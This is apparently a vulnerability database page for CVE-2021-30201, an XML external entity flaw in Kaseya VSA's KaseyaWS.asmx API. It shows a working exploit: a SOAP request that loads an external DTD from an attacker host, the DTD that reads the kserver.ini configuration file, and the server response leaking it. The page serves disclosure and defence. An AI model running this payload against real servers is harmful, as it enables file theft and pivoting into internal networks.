CVE-2021-30201

 

Published at: - 09-07-2021 04:15

Last modified: - 29-04-2022 08:14

Total changes: - 6

Description

The API /vsaWS/KaseyaWS.asmx can be used to submit XML to the system. When this XML is processed (external) entities are insecurely processed and fetched by the system and returned to the attacker. Detailed description Given the following request: ``` POST /vsaWS/KaseyaWS.asmx HTTP/1.1 Content-Type: text/xml;charset=UTF-8 Host: 192.168.1.194:18081 Content-Length: 406 <soapenv:Envelope xmlns:soapenv="http://schemas.htmlsoap.org/soap/envelope/" xmlns:kas="KaseyaWS"> <soapenv:Header/> <soapenv:Body> <kas:PrimitiveResetPassword> <!--type: string--> <kas:XmlRequest><![CDATA[<!DOCTYPE data SYSTEM "http://192.168.1.170:8080/oob.dtd"><data>&send;</data>]]> </kas:XmlRequest> </kas:PrimitiveResetPassword> </soapenv:Body> </soapenv:Envelope> ``` And the following XML file hosted at http://192.168.1.170/oob.dtd: ``` <!ENTITY % file SYSTEM "file://c:\\kaseya\\kserver\\kserver.ini"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; ``` The server will fetch this XML file and process it, it will read the file c:\\kaseya\\kserver\\kserver.ini and returns the content in the server response like below. Response: ``` HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/xml; charset=utf-8 Date: Fri, 02 Apr 2021 10:07:38 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 2677 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.htmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><soap:Fault><faultcode>soap:Server</faultcode><faultstring>Server was unable to process request. ---> There is an error in XML document (24, -1000).\r\n\r\nSystem.Xml.XmlException: Fragment identifier '######################################################################## # This is the configuration file for the KServer. # Place it in the same directory as the KServer executable # A blank line or new valid section header [] terminates each section. # Comment lines start with ; or # ######################################################################## <snip> ``` Security issues discovered --- * The API insecurely resolves external XML entities * The API has an overly verbose error response Impact --- Using this vulnerability an attacker can read any file on the server the webserver process can read. Additionally, it can be used to perform HTTP(s) requests into the local network and thus use the Kaseya system to pivot into the local network.

Common Vulnerability Scoring System (CVSS)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

 

Verification logic

 

Reference

• https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure/
• https://helpdesk.kaseya.com/hc/en-gb/articles/360019966738-9-5-6-Feature-Release-8-May-2021
• https://csirt.divd.nl/CVE-2021-30201
• https://csirt.divd.nl/DIVD-2021-00011

 

Keywords

NVD

 

CVE-2021-30201

 

CVE

 

Common vulnerabilities & exposures

 

CVSS

 

Common vulnerability scoring system

 

Security

 

Vulnerabilities

 

Exposures